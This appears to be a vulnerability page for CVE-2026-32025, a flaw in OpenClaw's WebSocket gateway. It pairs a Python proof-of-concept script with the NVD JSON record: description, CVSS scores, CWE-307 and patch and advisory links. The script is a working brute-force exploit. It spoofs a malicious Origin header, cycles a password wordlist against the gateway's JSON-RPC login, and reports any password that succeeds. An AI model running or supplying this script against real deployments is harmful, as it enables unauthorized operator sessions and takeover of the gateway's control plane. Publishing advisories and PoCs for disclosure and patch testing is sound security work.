CVE-2026-32025

import asyncio import websockets import json # Target configuration TARGET_URI = "ws://localhost:8080/api/ws" # Replace with actual OpenClaw WebSocket endpoint USERNAME = "admin" # Common default username, adjust as needed WORDLIST = ["password", "123456", "admin", "openclaw", "root"] async def exploit_poC(): print(f"[*] Starting brute force attack on {TARGET_URI}") for password in WORDLIST: try: # The vulnerability allows bypassing Origin checks, so we can connect from any context headers = {"Origin": "http://malicious.com"} async with websockets.connect(TARGET_URI, extra_headers=headers) as websocket: # Construct authentication payload auth_payload = { "jsonrpc": "2.0", "method": "login", "params": { "username": USERNAME, "password": password }, "id": 1 } await websocket.send(json.dumps(auth_payload)) response = await websocket.recv() response_data = json.loads(response) # Check if login was successful if "result" in response_data or "token" in response_data: print(f"[+] SUCCESS! Password found: {password}") print(f"[+] Full Response: {response_data}") return True else: print(f"[-] Failed attempt: {password}") except Exception as e: print(f"[!] Error during connection or auth: {e}") # Continue trying as throttling is bypassed continue print("[*] Brute force completed.") return False if __name__ == "__main__": asyncio.run(exploit_poC())

{"cve": {"id": "CVE-2026-32025", "sourceIdentifier": "[email protected]", "published": "2026-03-19T22:16:37.210", "lastModified": "2026-03-23T17:12:07.897", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw versions prior to 2026.2.25 contain an authentication hardening gap in browser-origin WebSocket clients that allows attackers to bypass origin checks and auth throttling on loopback deployments. An attacker can trick a user into opening a malicious webpage and perform password brute-force attacks against the gateway to establish an authenticated operator session and invoke control-plane methods."}, {"lang": "es", "value": "Versiones de OpenClaw anteriores a 2026.2.25 contienen una brecha de endurecimiento de la autenticación en clientes WebSocket de origen de navegador que permite a los atacantes eludir las comprobaciones de origen y la limitación de autenticación en despliegues de bucle invertido. Un atacante puede engañar a un usuario para que abra una página web maliciosa y realizar ataques de fuerza bruta de contraseña contra la pasarela para establecer una sesión de operador autenticada e invocar métodos del plano de control."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-307"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.2.25", "matchCriteriaId": "E7CAF2B9-46A9-45F0-8621-6485989E84AD"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/c736f11a16d6bc27ea62a0fe40fffae4cb071fdb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-jmmg-jqc7-5qf4", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-password-brute-force-via-browser-origin-websocket-authentication-bypass", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}